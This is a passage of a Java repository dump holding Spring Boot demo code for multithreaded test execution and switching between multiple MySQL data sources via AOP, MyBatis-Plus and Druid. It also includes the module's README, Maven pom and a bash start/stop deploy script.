    "content": "package com.example;\n\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * <p>\n * 基础测试\n * </p>\n *\n * @author MrWen\n **/\n@SpringBootTest(classes = MultiThreadApplication.class)\n@RunWith(SpringRunner.class)\npublic class BaseTest {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_threading/src/test/java/com/example/service/ThreadTest.java",
    "content": "package com.example.service;\n\nimport com.example.BaseTest;\nimport lombok.extern.slf4j.Slf4j;\nimport org.junit.Test;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;\n\nimport javax.annotation.Resource;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.FutureTask;\n\n/**\n * <p>\n * 多线程测试\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\npublic class ThreadTest extends BaseTest {\n\n    @Autowired\n    private ThreadService threadService;\n\n    @Resource(name = \"default\")\n    private ThreadPoolTaskExecutor executor;\n\n    @Test\n    public void test01() throws InterruptedException {\n        log.info(\"测试类test01--->ThreadId={},---->ThreadName={}\", Thread.currentThread().getId(), Thread.currentThread().getName());\n\n        threadService.test1();\n\n        //先睡一会，避免多线程未执行完，test类就关闭了\n        Thread.sleep(30000);\n    }\n\n    /**\n     * 执行多线程，带返回值\n     */\n    @Test\n    public void test02() throws Exception {\n        log.info(\"测试类test02--->ThreadId={},---->ThreadName={}\", Thread.currentThread().getId(), Thread.currentThread().getName());\n\n        //多线程测试-有返回值\n        Callable<String> stringCallable = () -> String.format(\"多线程有返回值测试 ThreadId=%s,---->ThreadName=%s\", Thread.currentThread().getId(), Thread.currentThread().getName());\n        FutureTask<String> futureTask = new FutureTask<>(stringCallable);\n        executor.submit(futureTask);\n        System.out.println(\"futureTask.get() = \" + futureTask.get());\n\n        //先睡一会，避免多线程未执行完，test类就关闭了\n        Thread.sleep(30000);\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/.gitignore",
    "content": ".idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/README.md",
    "content": "## 配置多数据源\n\nSpringBoot配置多数据源，使用MyBatis作为DAO层演示\n\n## 安装MySQL数据库\n\n数据库的安装教程网上非常多，版本最好是mysql5.5+，配置数据库的账号和密码。\n并且创建两个数据库pos和biz来测试多数据源。\n\n## 修改application.yml\n\n修改配置文件，主要是mysql的账号和密码，两个数据库都要配置\n\n## 数据库初始化\n\n然后执行SQL文件`src/main/resources/sql/schema.sql`\n\n```\n# 下面是核心数据库中的插入数据\nINSERT INTO `t_user` VALUES (1,'admin','系统管理员','123456','www', '17890908889', '系统管理员', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_user` VALUES (2,'aix','张三','123456','eee', '17859569358', '', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\n\n# 下面是biz数据库中的插入数据\nINSERT INTO `t_user` VALUES (1,'admin1','系统管理员','123456','www', '17890908889', '系统管理员', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_user` VALUES (2,'aix1','张三','123456','eee', '17859569358', '', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\n\n```\n\n## 运行测试用例\n\n执行对用户表增/删/改/查的测试用例：`com.xncoding.pos.ApplicationTests.java`\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_multisource</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>SpringBoot配置多数据源</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath></relativePath>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <druid.version>1.1.2</druid.version>\n        <mysql-connector.version>8.0.7-dmr</mysql-connector.version>\n        <mybatis-plus.version>2.1.8</mybatis-plus.version>\n        <mybatisplus-spring-boot-starter.version>1.0.5</mybatisplus-spring-boot-starter.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-aop</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>${mysql-connector.version}</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n        <!-- MyBatis plus增强和springboot的集成-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatisplus-spring-boot-starter</artifactId>\n            <version>${mybatisplus-spring-boot-starter.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.hamcrest</groupId>\n            <artifactId>hamcrest-all</artifactId>\n            <version>1.3</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/Application.java",
    "content": "package com.xncoding.pos;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/common/annotion/DataSource.java",
    "content": "package com.xncoding.pos.common.annotion;\n\nimport java.lang.annotation.*;\n\n/**\n * 多数据源标识\n *\n * @author xiongneng\n * @since 2017年3月5日 上午9:44:24\n */\n@Inherited\n@Retention(RetentionPolicy.RUNTIME)\n@Target({ElementType.METHOD})\npublic @interface DataSource {\n\n    String name() default \"\";\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/common/aop/MultiSourceExAop.java",
    "content": "package com.xncoding.pos.common.aop;\n\nimport com.xncoding.pos.common.annotion.DataSource;\nimport com.xncoding.pos.common.mutidatesource.DSEnum;\nimport com.xncoding.pos.common.mutidatesource.DataSourceContextHolder;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.Signature;\nimport org.aspectj.lang.annotation.Around;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.aspectj.lang.annotation.Pointcut;\nimport org.aspectj.lang.reflect.MethodSignature;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.core.Ordered;\nimport org.springframework.stereotype.Component;\n\nimport java.lang.reflect.Method;\n\n/**\n * 多数据源切换的aop\n *\n * @author xiongneng\n * @since 2017年3月5日 上午10:22:16\n */\n@Aspect\n@Component\n@ConditionalOnProperty(prefix = \"xncoding\", name = \"muti-datasource-open\", havingValue = \"true\")\npublic class MultiSourceExAop implements Ordered {\n\n    private Logger log = LoggerFactory.getLogger(this.getClass());\n\n    @Pointcut(value = \"@annotation(com.xncoding.pos.common.annotion.DataSource)\")\n    private void cut() {\n\n    }\n\n    @Around(\"cut()\")\n    public Object around(ProceedingJoinPoint point) throws Throwable {\n\n        Signature signature = point.getSignature();\n        MethodSignature methodSignature = null;\n        if (!(signature instanceof MethodSignature)) {\n            throw new IllegalArgumentException(\"该注解只能用于方法\");\n        }\n        methodSignature = (MethodSignature) signature;\n\n        Object target = point.getTarget();\n        Method currentMethod = target.getClass().getMethod(methodSignature.getName(), methodSignature.getParameterTypes());\n\n        DataSource datasource = currentMethod.getAnnotation(DataSource.class);\n        if (datasource != null) {\n            DataSourceContextHolder.setDataSourceType(datasource.name());\n            log.debug(\"设置数据源为：\" + datasource.name());\n        } else {\n            DataSourceContextHolder.setDataSourceType(DSEnum.DATA_SOURCE_CORE);\n            log.debug(\"设置数据源为：dataSourceCore\");\n        }\n        try {\n            return point.proceed();\n        } finally {\n            log.debug(\"清空数据源信息！\");\n            DataSourceContextHolder.clearDataSourceType();\n        }\n    }\n\n\n    /**\n     * aop的顺序要早于spring的事务\n     */\n    @Override\n    public int getOrder() {\n        return 1;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/common/dao/entity/User.java",
    "content": "package com.xncoding.pos.common.dao.entity;\n\nimport java.util.Date;\nimport com.baomidou.mybatisplus.annotations.TableName;\nimport com.baomidou.mybatisplus.enums.IdType;\nimport com.baomidou.mybatisplus.annotations.TableId;\nimport com.baomidou.mybatisplus.activerecord.Model;\nimport java.io.Serializable;\n\n/**\n * 后台管理用户表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\n@TableName(value = \"t_user\")\npublic class User extends Model<User> {\n\nprivate static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    @TableId(value=\"id\", type= IdType.AUTO)\n    private Integer id;\n    /**\n     * 账号\n     */\n    private String username;\n    /**\n     * 名字\n     */\n    private String name;\n    /**\n     * 密码\n     */\n    private String password;\n    /**\n     * md5密码盐\n     */\n    private String salt;\n    /**\n     * 联系电话\n     */\n    private String phone;\n    /**\n     * 备注\n     */\n    private String tips;\n    /**\n     * 状态 1:正常 2:禁用\n     */\n    private Integer state;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 账号.\n     *\n     * @return 账号.\n     */\n    public String getUsername() {\n        return username;\n    }\n\n    /**\n     * 设置 账号.\n     *\n     * @param username 账号.\n     */\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    /**\n     * 获取 名字.\n     *\n     * @return 名字.\n     */\n    public String getName() {\n        return name;\n    }\n\n    /**\n     * 设置 名字.\n     *\n     * @param name 名字.\n     */\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    /**\n     * 获取 密码.\n     *\n     * @return 密码.\n     */\n    public String getPassword() {\n        return password;\n    }\n\n    /**\n     * 设置 密码.\n     *\n     * @param password 密码.\n     */\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    /**\n     * 获取 md5密码盐.\n     *\n     * @return md5密码盐.\n     */\n    public String getSalt() {\n        return salt;\n    }\n\n    /**\n     * 设置 md5密码盐.\n     *\n     * @param salt md5密码盐.\n     */\n    public void setSalt(String salt) {\n        this.salt = salt;\n    }\n\n    /**\n     * 获取 联系电话.\n     *\n     * @return 联系电话.\n     */\n    public String getPhone() {\n        return phone;\n    }\n\n    /**\n     * 设置 联系电话.\n     *\n     * @param phone 联系电话.\n     */\n    public void setPhone(String phone) {\n        this.phone = phone;\n    }\n\n    /**\n     * 获取 备注.\n     *\n     * @return 备注.\n     */\n    public String getTips() {\n        return tips;\n    }\n\n    /**\n     * 设置 备注.\n     *\n     * @param tips 备注.\n     */\n    public void setTips(String tips) {\n        this.tips = tips;\n    }\n\n    /**\n     * 获取 状态 1:正常 2:禁用.\n     *\n     * @return 状态 1:正常 2:禁用.\n     */\n    public Integer getState() {\n        return state;\n    }\n\n    /**\n     * 设置 状态 1:正常 2:禁用.\n     *\n     * @param state 状态 1:正常 2:禁用.\n     */\n    public void setState(Integer state) {\n        this.state = state;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/common/dao/repository/UserMapper.java",
    "content": "package com.xncoding.pos.common.dao.repository;\n\nimport com.xncoding.pos.common.dao.entity.User;\nimport com.baomidou.mybatisplus.mapper.BaseMapper;\n\n/**\n * 后台管理用户表 Mapper\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic interface UserMapper extends BaseMapper<User> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/common/mutidatesource/DSEnum.java",
    "content": "package com.xncoding.pos.common.mutidatesource;\n\n/**\n * 多数据源的枚举\n *\n * @author xiongneng\n * @since 2017年3月5日 上午10:15:02\n */\npublic interface DSEnum {\n\n    String DATA_SOURCE_CORE = \"dataSourceCore\";        //核心数据源\n\n    String DATA_SOURCE_BIZ = \"dataSourceBiz\";            //其他业务的数据源\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/common/mutidatesource/DataSourceContextHolder.java",
    "content": "package com.xncoding.pos.common.mutidatesource;\n\n/**\n * datasource的上下文\n *\n * @author xiongneng\n * @since 2017年3月5日 上午9:10:58\n */\npublic class DataSourceContextHolder {\n\n    private static final ThreadLocal<String> contextHolder = new ThreadLocal<String>();\n\n    /**\n     * @param dataSourceType 数据库类型\n     * @Description: 设置数据源类型\n     */\n    public static void setDataSourceType(String dataSourceType) {\n        contextHolder.set(dataSourceType);\n    }\n\n    /**\n     * @Description: 获取数据源类型\n     */\n    public static String getDataSourceType() {\n        return contextHolder.get();\n    }\n\n    /**\n     * @Description: 清除数据源类型\n     */\n    public static void clearDataSourceType() {\n        contextHolder.remove();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/common/mutidatesource/DynamicDataSource.java",
    "content": "package com.xncoding.pos.common.mutidatesource;\n\nimport org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource;\n\n/**\n * 动态数据源\n *\n * @author xiongneng\n * @since 2017年3月5日 上午9:11:49\n */\npublic class DynamicDataSource extends AbstractRoutingDataSource {\n\n    @Override\n    protected Object determineCurrentLookupKey() {\n        return DataSourceContextHolder.getDataSourceType();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/config/MybatisPlusConfig.java",
    "content": "package com.xncoding.pos.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.baomidou.mybatisplus.plugins.PaginationInterceptor;\nimport com.xncoding.pos.common.mutidatesource.DSEnum;\nimport com.xncoding.pos.common.mutidatesource.DynamicDataSource;\nimport com.xncoding.pos.config.properties.DruidProperties;\nimport com.xncoding.pos.config.properties.MutiDataSourceProperties;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\nimport java.sql.SQLException;\nimport java.util.HashMap;\n\n/**\n * MybatisPlus配置\n *\n * @author xiongneng\n * @since 2017/5/20 21:58\n */\n@Configuration\n@EnableTransactionManagement(order = 2)\n@MapperScan(basePackages = {\"com.xncoding.pos.common.dao.repository\"})\npublic class MybatisPlusConfig {\n\n    @Autowired\n    DruidProperties druidProperties;\n\n    @Autowired\n    MutiDataSourceProperties mutiDataSourceProperties;\n\n    /**\n     * 核心数据源\n     */\n    private DruidDataSource coreDataSource() {\n        DruidDataSource dataSource = new DruidDataSource();\n        druidProperties.config(dataSource);\n        return dataSource;\n    }\n\n    /**\n     * 另一个数据源\n     */\n    private DruidDataSource bizDataSource() {\n        DruidDataSource dataSource = new DruidDataSource();\n        druidProperties.config(dataSource);\n        mutiDataSourceProperties.config(dataSource);\n        return dataSource;\n    }\n\n    /**\n     * 单数据源连接池配置\n     */\n    @Bean\n    @ConditionalOnProperty(prefix = \"xncoding\", name = \"muti-datasource-open\", havingValue = \"false\")\n    public DruidDataSource singleDatasource() {\n        return coreDataSource();\n    }\n\n    /**\n     * 多数据源连接池配置\n     */\n    @Bean\n    @ConditionalOnProperty(prefix = \"xncoding\", name = \"muti-datasource-open\", havingValue = \"true\")\n    public DynamicDataSource mutiDataSource() {\n\n        DruidDataSource coreDataSource = coreDataSource();\n        DruidDataSource bizDataSource = bizDataSource();\n\n        try {\n            coreDataSource.init();\n            bizDataSource.init();\n        } catch (SQLException sql) {\n            sql.printStackTrace();\n        }\n\n        DynamicDataSource dynamicDataSource = new DynamicDataSource();\n        HashMap<Object, Object> hashMap = new HashMap<>();\n        hashMap.put(DSEnum.DATA_SOURCE_CORE, coreDataSource);\n        hashMap.put(DSEnum.DATA_SOURCE_BIZ, bizDataSource);\n        dynamicDataSource.setTargetDataSources(hashMap);\n        dynamicDataSource.setDefaultTargetDataSource(coreDataSource);\n        return dynamicDataSource;\n    }\n\n    /**\n     * mybatis-plus分页插件\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        return new PaginationInterceptor();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/config/properties/DruidProperties.java",
    "content": "package com.xncoding.pos.config.properties;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.util.JdbcConstants;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\nimport java.sql.SQLException;\n\n/**\n * <p>数据库数据源配置</p>\n * <p>说明:这个类中包含了许多默认配置,若这些配置符合您的情况,您可以不用管,若不符合,建议不要修改本类,建议直接在\"application.yml\"中配置即可</p>\n *\n * @author xiongneng\n * @since 2017-05-21 11:18\n */\n@Component\n@ConfigurationProperties(prefix = \"spring.datasource\")\npublic class DruidProperties {\n\n    private String url;\n\n    private String username;\n\n    private String password;\n\n    private String driverClassName = \"com.mysql.cj.jdbc.Driver\";\n\n    private Integer initialSize = 10;\n\n    private Integer minIdle = 3;\n\n    private Integer maxActive = 60;\n\n    private Integer maxWait = 60000;\n\n    private Boolean removeAbandoned = true;\n\n    private Integer removeAbandonedTimeout = 180;\n\n    private Integer timeBetweenEvictionRunsMillis = 60000;\n\n    private Integer minEvictableIdleTimeMillis = 300000;\n\n    private String validationQuery = \"SELECT 'x'\";\n\n    private Boolean testWhileIdle = true;\n\n    private Boolean testOnBorrow = false;\n\n    private Boolean testOnReturn = false;\n\n    private Boolean poolPreparedStatements = true;\n\n    private Integer maxPoolPreparedStatementPerConnectionSize = 50;\n\n    private String filters = \"stat\";\n\n    public void config(DruidDataSource dataSource) {\n        dataSource.setDbType(JdbcConstants.MYSQL);\n        dataSource.setUrl(url);\n        dataSource.setUsername(username);\n        dataSource.setPassword(password);\n        dataSource.setDriverClassName(driverClassName);\n        dataSource.setInitialSize(initialSize);     // 定义初始连接数\n        dataSource.setMinIdle(minIdle);             // 最小空闲\n        dataSource.setMaxActive(maxActive);         // 定义最大连接数\n        dataSource.setMaxWait(maxWait);             // 获取连接等待超时的时间\n        dataSource.setRemoveAbandoned(removeAbandoned); // 超过时间限制是否回收\n        dataSource.setRemoveAbandonedTimeout(removeAbandonedTimeout); // 超过时间限制多长\n\n        // 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒\n        dataSource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis);\n        // 配置一个连接在池中最小生存的时间，单位是毫秒\n        dataSource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis);\n        // 用来检测连接是否有效的sql，要求是一个查询语句\n        dataSource.setValidationQuery(validationQuery);\n        // 申请连接的时候检测\n        dataSource.setTestWhileIdle(testWhileIdle);\n        // 申请连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnBorrow(testOnBorrow);\n        // 归还连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnReturn(testOnReturn);\n        // 打开PSCache，并且指定每个连接上PSCache的大小\n        dataSource.setPoolPreparedStatements(poolPreparedStatements);\n        dataSource.setMaxPoolPreparedStatementPerConnectionSize(maxPoolPreparedStatementPerConnectionSize);\n        // 属性类型是字符串，通过别名的方式配置扩展插件，常用的插件有：\n        // 监控统计用的filter:stat\n        // 日志用的filter:log4j\n        // 防御SQL注入的filter:wall\n        try {\n            dataSource.setFilters(filters);\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getDriverClassName() {\n        return driverClassName;\n    }\n\n    public void setDriverClassName(String driverClassName) {\n        this.driverClassName = driverClassName;\n    }\n\n    public Integer getInitialSize() {\n        return initialSize;\n    }\n\n    public void setInitialSize(Integer initialSize) {\n        this.initialSize = initialSize;\n    }\n\n    public Integer getMinIdle() {\n        return minIdle;\n    }\n\n    public void setMinIdle(Integer minIdle) {\n        this.minIdle = minIdle;\n    }\n\n    public Integer getMaxActive() {\n        return maxActive;\n    }\n\n    public void setMaxActive(Integer maxActive) {\n        this.maxActive = maxActive;\n    }\n\n    public Integer getMaxWait() {\n        return maxWait;\n    }\n\n    public void setMaxWait(Integer maxWait) {\n        this.maxWait = maxWait;\n    }\n\n    public Integer getTimeBetweenEvictionRunsMillis() {\n        return timeBetweenEvictionRunsMillis;\n    }\n\n    public void setTimeBetweenEvictionRunsMillis(Integer timeBetweenEvictionRunsMillis) {\n        this.timeBetweenEvictionRunsMillis = timeBetweenEvictionRunsMillis;\n    }\n\n    public Integer getMinEvictableIdleTimeMillis() {\n        return minEvictableIdleTimeMillis;\n    }\n\n    public void setMinEvictableIdleTimeMillis(Integer minEvictableIdleTimeMillis) {\n        this.minEvictableIdleTimeMillis = minEvictableIdleTimeMillis;\n    }\n\n    public String getValidationQuery() {\n        return validationQuery;\n    }\n\n    public void setValidationQuery(String validationQuery) {\n        this.validationQuery = validationQuery;\n    }\n\n    public Boolean getTestWhileIdle() {\n        return testWhileIdle;\n    }\n\n    public void setTestWhileIdle(Boolean testWhileIdle) {\n        this.testWhileIdle = testWhileIdle;\n    }\n\n    public Boolean getTestOnBorrow() {\n        return testOnBorrow;\n    }\n\n    public void setTestOnBorrow(Boolean testOnBorrow) {\n        this.testOnBorrow = testOnBorrow;\n    }\n\n    public Boolean getTestOnReturn() {\n        return testOnReturn;\n    }\n\n    public void setTestOnReturn(Boolean testOnReturn) {\n        this.testOnReturn = testOnReturn;\n    }\n\n    public Boolean getPoolPreparedStatements() {\n        return poolPreparedStatements;\n    }\n\n    public void setPoolPreparedStatements(Boolean poolPreparedStatements) {\n        this.poolPreparedStatements = poolPreparedStatements;\n    }\n\n    public Integer getMaxPoolPreparedStatementPerConnectionSize() {\n        return maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public void setMaxPoolPreparedStatementPerConnectionSize(Integer maxPoolPreparedStatementPerConnectionSize) {\n        this.maxPoolPreparedStatementPerConnectionSize = maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public String getFilters() {\n        return filters;\n    }\n\n    public void setFilters(String filters) {\n        this.filters = filters;\n    }\n\n    public Boolean getRemoveAbandoned() {\n        return removeAbandoned;\n    }\n\n    public void setRemoveAbandoned(Boolean removeAbandoned) {\n        this.removeAbandoned = removeAbandoned;\n    }\n\n    public Integer getRemoveAbandonedTimeout() {\n        return removeAbandonedTimeout;\n    }\n\n    public void setRemoveAbandonedTimeout(Integer removeAbandonedTimeout) {\n        this.removeAbandonedTimeout = removeAbandonedTimeout;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/config/properties/MutiDataSourceProperties.java",
